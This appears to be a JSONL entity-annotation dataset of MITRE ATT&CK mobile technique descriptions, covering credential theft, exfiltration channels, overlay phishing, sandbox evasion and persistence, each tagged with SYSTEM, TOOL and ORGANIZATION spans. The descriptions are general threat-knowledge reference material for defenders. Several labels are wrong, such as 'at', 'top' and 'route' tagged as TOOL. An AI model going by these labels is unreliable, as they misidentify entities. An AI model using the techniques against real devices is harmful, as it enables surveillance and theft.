{"text": "Adversaries may exploit remote services of enterprise servers, workstations, or other resources to gain unauthorized access to internal systems once inside of a network. Adversaries may exploit remote services by taking advantage of a mobile device’s access to an internal enterprise network through local connectivity or through a Virtual Private Network (VPN). Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. \n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Scanning or other Discovery methods. These look for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nDepending on the permissions level of the vulnerable remote service, an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.", "spans": {"TOOL: at": [[1206, 1208]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1428"}}
{"text": "Adversaries may communicate using application layer protocols associated with web protocols traffic to avoid detection/network filtering by blending in with existing traffic. Commands to remote mobile devices, and often the results of those commands, will be embedded within the protocol traffic between the mobile client and server. \n\nWeb protocols such as HTTP and HTTPS are used for web traffic as well as well as notification services native to mobile messaging services such as Google Cloud Messaging (GCM) and newly, Firebase Cloud Messaging (FCM), (GCM/FCM: two-way communication) and Apple Push Notification Service (APNS; one-way server-to-device).  Such notification services leverage HTTP/S via the respective API and are commonly abused on Android and iOS respectively in order blend in with routine device traffic making it difficult for enterprises to inspect.", "spans": {"SYSTEM: HTTP": [[358, 362], [695, 699]], "SYSTEM: HTTPS": [[367, 372]], "SYSTEM: Google Cloud": [[483, 495]], "ORGANIZATION: Apple": [[592, 597]], "SYSTEM: API": [[721, 724]], "SYSTEM: Android": [[752, 759]], "SYSTEM: iOS": [[764, 767]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1437.001"}}
{"text": "Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering or URI hijacking and typically requires user action to grant access, such as through a system “Open With” dialogue.  \n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS). OAuth is one commonly implemented framework used to issue tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry through OAuth 2.0 using a variety of authorization protocols. An example of a commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested without requiring user credentials.", "spans": {"SYSTEM: API": [[344, 347]], "ORGANIZATION: Microsoft": [[779, 788]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1635"}}
{"text": "Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device. \n\nWhile there are many ways this can be accomplished, one method is by using the device’s sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1628.002"}}
{"text": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors after checking for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware’s behavior to disengage from the victim or conceal the core functions of the payload. They may also search for VME artifacts before dropping further payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors. \n\nAdversaries may use several methods to accomplish Virtualization/Sandbox Evasion such as checking for system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1633"}}
{"text": "An adversary may push an update to a previously benign application to add malicious code. This can be accomplished by pushing an initially benign, functional application to a trusted application store, such as the Google Play Store or the Apple App Store. This allows the adversary to establish a trusted userbase that may grant permissions to the application prior to the introduction of malicious code. Then, an application update could be pushed to introduce malicious code.\n\nThis technique could also be accomplished by compromising a developer’s account. This would allow an adversary to take advantage of an existing userbase without having to establish the userbase themselves.", "spans": {"ORGANIZATION: Google": [[214, 220]], "ORGANIZATION: Apple": [[239, 244]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1661"}}
{"text": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, Android is a UNIX-like OS and includes a basic Unix Shell that can be accessed via the Android Debug Bridge (ADB) or Java’s `Runtime` package.\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells.", "spans": {"SYSTEM: Android": [[337, 344], [424, 431]], "SYSTEM: Unix": [[384, 388]], "SYSTEM: Java": [[454, 458]], "SYSTEM: Access": [[630, 636]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1623"}}
{"text": "Adversaries may disable security tools to avoid potential detection of their tools and activities. This can take the form of disabling security software, modifying SELinux configuration, or other methods to interfere with security tools scanning or reporting information. This is typically done by abusing device administrator permissions or using system exploits to gain root access to the device to modify protected system files.", "spans": {"SYSTEM: SELinux": [[164, 171]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1629.003"}}
{"text": "Adversaries may transfer tools or other files from an external system onto a compromised device to facilitate follow-on actions. Files may be copied from an external adversary-controlled system through the command and control channel  or through alternate protocols with another tool such as FTP.", "spans": {"TOOL: FTP": [[292, 295]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1544"}}
{"text": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. This algorithm can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1637"}}
{"text": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1423"}}
{"text": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1646"}}
{"text": "Adversaries may utilize standard operating system APIs to gather account data. On Android, this can be accomplished by using the AccountManager API. For example, adversaries may use the `getAccounts()` method to list all accounts. On iOS, this can be accomplished by using the Keychain services.  \n\nIf the device has been jailbroken or rooted, adversaries may be able to access Accounts without the users’ knowledge or approval.", "spans": {"SYSTEM: Android": [[82, 89]], "SYSTEM: API": [[144, 147]], "SYSTEM: iOS": [[234, 237]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1636.005"}}
{"text": "Adversaries may exploit software vulnerabilities in order to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in an application, service, within the operating system software, or kernel itself to execute adversary-controlled code. Security constructions, such as permission levels, will often hinder access to information and use of certain techniques. Adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. \n\nWhen initially gaining access to a device, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and applications running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user- level permission to root permissions depending on the component that is vulnerable.", "spans": {"TOOL: at": [[836, 838]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1404"}}
{"text": "Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication.\n\nSeveral permissions may be used to programmatically control phone calls, including:\n\n* `ANSWER_PHONE_CALLS` - Allows the application to answer incoming phone calls\n* `CALL_PHONE` - Allows the application to initiate a phone call without going through the Dialer interface\n* `PROCESS_OUTGOING_CALLS` - Allows the application to see the number being dialed during an outgoing call with the option to redirect the call to a different number or abort the call altogether\n* `MANAGE_OWN_CALLS` - Allows a calling application which manages its own calls through the self-managed `ConnectionService` APIs\n* `BIND_TELECOM_CONNECTION_SERVICE` - Required permission when using a `ConnectionService`\n* `WRITE_CALL_LOG` - Allows an application to write to the device call log, potentially to hide malicious phone calls\n\nWhen granted some of these permissions, an application can make a phone call without opening the dialer first. However, if an application desires to simply redirect the user to the dialer with a phone number filled in, it can launch an Intent using `Intent.ACTION_DIAL`, which requires no specific permissions. This then requires the user to explicitly initiate the call or use some form of Input Injection to programmatically initiate it.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1616"}}
{"text": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). Adversaries may employ custom or publicly available encoding/compression algorithms (such as base64) or embed data within protocol headers and fields.", "spans": {"SYSTEM: HTTP": [[386, 390]], "TOOL: FTP": [[392, 395]], "SYSTEM: DNS": [[400, 403]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1639.001"}}
{"text": "Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities. \n\nAn intent is a message passed between Android applications or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received. \n\nIn addition to Android system intents, malicious applications can register for intents broadcasted by other applications. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications. \n\nIn Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.", "spans": {"SYSTEM: Android": [[296, 303], [692, 699], [1014, 1021]], "TOOL: at": [[394, 396]], "SYSTEM: API": [[1025, 1028]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1624.001"}}
{"text": "Adversaries may collect data within notifications sent by the operating system or other applications. Notifications may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. In the case of Credential Access, adversaries may attempt to intercept one-time code sent to the device. Adversaries can also dismiss notifications to prevent the user from noticing that the notification has arrived and can trigger action buttons contained within notifications.", "spans": {"SYSTEM: Access": [[247, 253]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1517"}}
{"text": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may opt to also encrypt and/or obfuscate these alternate channels.", "spans": {"TOOL: FTP": [[258, 261]], "SYSTEM: HTTP": [[269, 273]], "SYSTEM: DNS": [[277, 280]], "SYSTEM: SMB": [[282, 285]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1639"}}
{"text": "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using `adb shell netstat` for Android.\n\nAdversaries may use the results and responses from these requests to determine if the mobile devices are capable of communicating with adversary-owned C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.", "spans": {"TOOL: netstat": [[187, 194]], "SYSTEM: Android": [[200, 207]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1422.001"}}
{"text": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts are part of the underlying operating system and are not accessible to the user unless the device has been rooted or jailbroken.", "spans": {"TOOL: at": [[51, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1398"}}
{"text": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign. Values an adversary can provide about a target system or environment to use as guardrails may include environment information such as location.\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical System Checks. While use of System Checks may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1627"}}
{"text": "Adversaries may mimic common operating system GUI components to prompt users for sensitive information with a seemingly legitimate prompt. The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.\n\nThere are several approaches adversaries may use to mimic this functionality. Adversaries may impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and, when installed on the device, may prompt the user for sensitive information. Adversaries may also send fake device notifications to the user that may trigger the display of an input prompt when clicked. \n\nAdditionally, adversaries may display a prompt on top of a running, legitimate application to trick users into entering sensitive information into a malicious application rather than the legitimate application. Typically, adversaries need to know when the targeted application and the individual activity within the targeted application is running in the foreground to display the prompt at the proper time. Adversaries can abuse Android’s accessibility features to determine which application is currently in the foreground. Two known approaches to displaying a prompt include:\n\n* Adversaries start a new activity on top of a running legitimate application. Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.\n* Adversaries create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions and, at least under certain conditions, is automatically granted to applications installed from the Google Play Store. The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.", "spans": {"TOOL: top": [[1018, 1021], [1586, 1589], [1723, 1726], [1881, 1884]], "TOOL: at": [[1356, 1358], [2086, 2088]], "SYSTEM: Android": [[1398, 1405], [1627, 1634], [2061, 2068], [2355, 2362]], "ORGANIZATION: Google": [[2181, 2187]], "SYSTEM: API": [[2381, 2384]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1417.002"}}
{"text": "Adversaries may modify system software binaries to establish persistent access to devices. System software binaries are used by the underlying operating system and users over adb or terminal emulators. \n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those binaries are executed. For example, malware may come with a pre-compiled malicious binary intended to overwrite the genuine one on the device. Since these binaries may be routinely executed by the system or user, the adversary can leverage this for persistent access to the device.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1645"}}
{"text": "Adversaries may perform software packing to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. \n\nUtilities used to perform software packing are called packers. An example packer is FTT. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1406.002"}}
{"text": "Adversaries may use Android’s Native Development Kit (NDK) to write native functions that can achieve execution of binaries or functions. Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls.\n\nThe NDK allows developers to write native code in C or C++ that is compiled directly to machine code, avoiding all intermediate languages and steps in compilation that higher level languages, like Java, typically have. The Java Native Interface (JNI) is the component that allows Java functions in the Android app to call functions in a native library.\n\nAdversaries may also choose to use native functions to execute malicious code since native actions are typically much more difficult to analyze than standard, non-native behaviors.", "spans": {"SYSTEM: Android": [[20, 27], [259, 266], [581, 588]], "SYSTEM: Java": [[476, 480], [502, 506], [559, 563]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1575"}}
{"text": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to insecure coding practices that can lead to unanticipated behavior. Adversaries may take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility. \n\nAdversaries may use device-based zero-click exploits for code execution. These exploits are powerful because there is no user interaction required for code execution. \n\n### SMS/iMessage Delivery  \n\nSMS and iMessage in iOS are common targets through Drive-By Compromise, Phishing, etc. Adversaries may use embed malicious links, files, etc. in SMS messages or iMessages. Mobile devices may be compromised through one-click exploits, where the victim must interact with a text message, or zero-click exploits, where no user interaction is required. \n\n### AirDrop \n\nUnique to iOS, AirDrop is a network protocol that allows iOS users to transfer files between iOS devices. Before patches from Apple were released, on iOS 13.4 and earlier, adversaries may force the Apple Wireless Direct Link (AWDL) interface to activate, then exploit a buffer overflow to gain access to the device and run as root without interaction from the user.", "spans": {"SYSTEM: iOS": [[929, 932], [1284, 1287], [1331, 1334], [1367, 1370], [1424, 1427]], "ORGANIZATION: Apple": [[1400, 1405], [1472, 1477]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1658"}}
{"text": "Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.\n\nThe most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the `Proxy` API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.", "spans": {"SYSTEM: Android": [[620, 627]], "SYSTEM: API": [[661, 664]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1604"}}
{"text": "Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope. Applications can retain sensor access by running in the foreground, using Android’s `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.\n\nMalicious applications may abuse the `startForeground()` API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device’s sensors, assuming permission has been previously granted.\n\nMalicious applications may also abuse the `startForeground()` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.", "spans": {"SYSTEM: Android": [[22, 29], [114, 121], [331, 338], [969, 976]], "SYSTEM: API": [[52, 55], [361, 364], [645, 648], [951, 954]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1541"}}
{"text": "Adversaries may move onto devices by exploiting or copying malware to devices connected via USB. In the case of Lateral Movement, adversaries may utilize the physical connection of a device to a compromised or malicious charging station or PC to bypass application store requirements and install malicious applications directly. In the case of Initial Access, adversaries may attempt to exploit the device via the connection to gain access to data stored on the device. Examples of this include: \n \n* Exploiting insecure bootloaders in a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location. \n* Exploiting weakly-enforced security boundaries in Android devices such as the Google Pixel 2 over USB. \n* Products from Cellebrite and Grayshift purportedly that can exploit some iOS devices using physical access to the data port to unlock the passcode.", "spans": {"SYSTEM: Access": [[352, 358]], "SYSTEM: Android": [[774, 781]], "ORGANIZATION: Google": [[802, 808]], "SYSTEM: iOS": [[903, 906]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1458"}}
{"text": "Adversaries may capture audio to collect information by leveraging standard operating system APIs of a mobile device. Examples of audio information adversaries may target include user conversations, surroundings, phone calls, or other sensitive information. \n\n \n\nAndroid and iOS, by default, require that applications request device microphone access from the user.  \n\n \n\nOn Android devices, applications must hold the `RECORD_AUDIO` permission to access the microphone or the `CAPTURE_AUDIO_OUTPUT` permission to access audio output. Because Android does not allow third-party applications to hold the `CAPTURE_AUDIO_OUTPUT` permission by default, only privileged applications, such as those distributed by Google or the device vendor, can access audio output. However, adversaries may be able to gain this access after successfully elevating their privileges. With the `CAPTURE_AUDIO_OUTPUT` permission, adversaries may pass the `MediaRecorder.AudioSource.VOICE_CALL` constant to `MediaRecorder.setAudioOutput`, allowing capture of both voice call uplink and downlink. \n\n \n\nOn iOS devices, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file to access the microphone.", "spans": {"SYSTEM: Android": [[263, 270], [375, 382], [543, 550]], "SYSTEM: iOS": [[275, 278], [1079, 1082]], "ORGANIZATION: Google": [[708, 714]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1429"}}
{"text": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur over time. \n\nThere are many ways an adversary may hijack the flow of execution. A primary way is by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs or resources, such as file directories, could also be poisoned to include malicious payloads.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1625"}}
{"text": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the underlying command prompts on Android and iOS devices. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges that are only accessible if the device has been rooted or jailbroken. \n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems. \n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence. \n\nIf the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.", "spans": {"SYSTEM: Unix": [[22, 26], [69, 73], [144, 148], [318, 322], [628, 632]], "SYSTEM: Android": [[119, 126]], "SYSTEM: iOS": [[131, 134]], "SYSTEM: SSH": [[793, 796]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1623.001"}}
{"text": "Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the mobile device, and often the results of those commands, will be embedded within the protocol traffic between the mobile device and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS.", "spans": {"SYSTEM: DNS": [[423, 426]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1437"}}
{"text": "Adversaries may download and execute dynamic code not included in the original application package after installation. This technique is primarily used to evade static analysis checks and pre-publication scans in official app stores. In some cases, more advanced dynamic or behavioral analysis techniques could detect this behavior. However, in conjunction with Execution Guardrails techniques, detecting malicious code downloaded after installation could be difficult.\n\nOn Android, dynamic code could include native code, Dalvik code, or JavaScript code that utilizes Android WebView’s `JavascriptInterface` capability. \n\nOn iOS, dynamic code could be downloaded and executed through 3rd party libraries such as JSPatch.", "spans": {"SYSTEM: Android": [[474, 481], [569, 576]], "SYSTEM: JavaScript": [[539, 549]], "SYSTEM: iOS": [[626, 629]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1407"}}
{"text": "Adversaries may exploit software vulnerabilities to gain initial access to a mobile device. \n\nThis can be accomplished in a variety of ways. Vulnerabilities may be present in the applications, the services, the underlying operating system, or the kernel itself. Several well-known mobile device exploits exist, including FORCEDENTRY, StageFright, and BlueBorne. Furthermore, some exploits may be possible to exploit without any user interaction (i.e. zero-click exploits, see Exploitation for Client Execution), making them particularly dangerous. Mobile operating system vendors are typically very quick to patch such critical bugs, ensuring only a small window where they can be exploited.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1664"}}
{"text": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behavior after checking for the presence of artifacts indicative of a virtual environment or sandbox. If the adversary detects a virtual environment, they may alter their malware’s behavior to disengage from the victim or conceal the core functions of the implant. They may also search for virtualization artifacts before dropping secondary or additional payloads. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nHardware checks, such as the presence of motion sensors, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1633.001"}}
{"text": "Adversaries may try to access and collect application data resident on the device. Adversaries often target popular applications, such as Facebook, WeChat, and Gmail. \n\n \n\nDue to mobile OS sandboxing, this technique is only possible in three scenarios: \n\n \n\n* An application stores files in unprotected external storage \n* An application stores files in its internal storage directory with insecure permissions (e.g. 777) \n* The adversary gains root permissions on the device", "spans": {"ORGANIZATION: Facebook": [[138, 146]], "SYSTEM: Gmail": [[160, 165]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1409"}}
{"text": "Adversaries may use screen capture to collect additional information about a target device, such as applications running in the foreground, user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent). Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application. An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.", "spans": {"SYSTEM: Android": [[331, 338], [456, 463], [592, 599], [641, 648]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1513"}}
{"text": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity to deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.\n\nOne method to achieve Transmitted Data Manipulation is by modifying the contents of the device clipboard. Malicious applications may monitor clipboard activity through the `ClipboardManager.OnPrimaryClipChangedListener` interface on Android to determine when clipboard contents have changed. Listening to clipboard activity, reading clipboard contents, and modifying clipboard contents requires no explicit application permissions and can be performed by applications running in the background. However, this behavior has changed with the release of Android 10.\n\nAdversaries may use Transmitted Data Manipulation to replace text prior to being pasted. For example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.\n\nTransmitted Data Manipulation was seen within the Android/Clipper.C trojan. This sample was detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.", "spans": {"TOOL: route": [[30, 35]], "SYSTEM: Android": [[1065, 1072], [1382, 1389], [1647, 1654]], "ORGANIZATION: ESET": [[1701, 1705]], "ORGANIZATION: Google": [[1748, 1754]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1641.001"}}
{"text": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1474.001"}}
{"text": "Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data. \n\nApplications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If an adversary were to register for a URI that was already in use by a genuine application, the adversary may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the adversary to gain access to protected resources.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1635.001"}}
{"text": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted applications. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features include: an app being allowed to run because it is signed by a valid code signing certificate; an OS prompt alerting the user that an app came from an untrusted source; or getting an indication that you are about to connect to an untrusted site. The method adversaries use will depend on the specific mechanism they seek to subvert.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1632"}}
{"text": "Adversaries may collect keychain data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials. \n\nOn the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, adversaries can access the entire encrypted database.", "spans": {"SYSTEM: iOS": [[46, 49], [116, 119], [438, 441]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1634.001"}}
{"text": "Adversaries may carry out malicious operations using virtualization solutions to escape from Android sandboxes and to avoid detection. Android uses sandboxes to separate resources and code execution between applications and the operating system. There are a few virtualization solutions available on Android, such as the Android Virtualization Framework (AVF).  \n\n \n\nThrough virtualization solutions, adversaries may execute malicious operations without user knowledge. For example, adversaries may mimic a legitimate banking application’s functionalities in a virtual environment, thanks to the virtualization solution, while malicious code captures credentials.", "spans": {"SYSTEM: Android": [[93, 100], [135, 142], [300, 307], [321, 328]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1670"}}
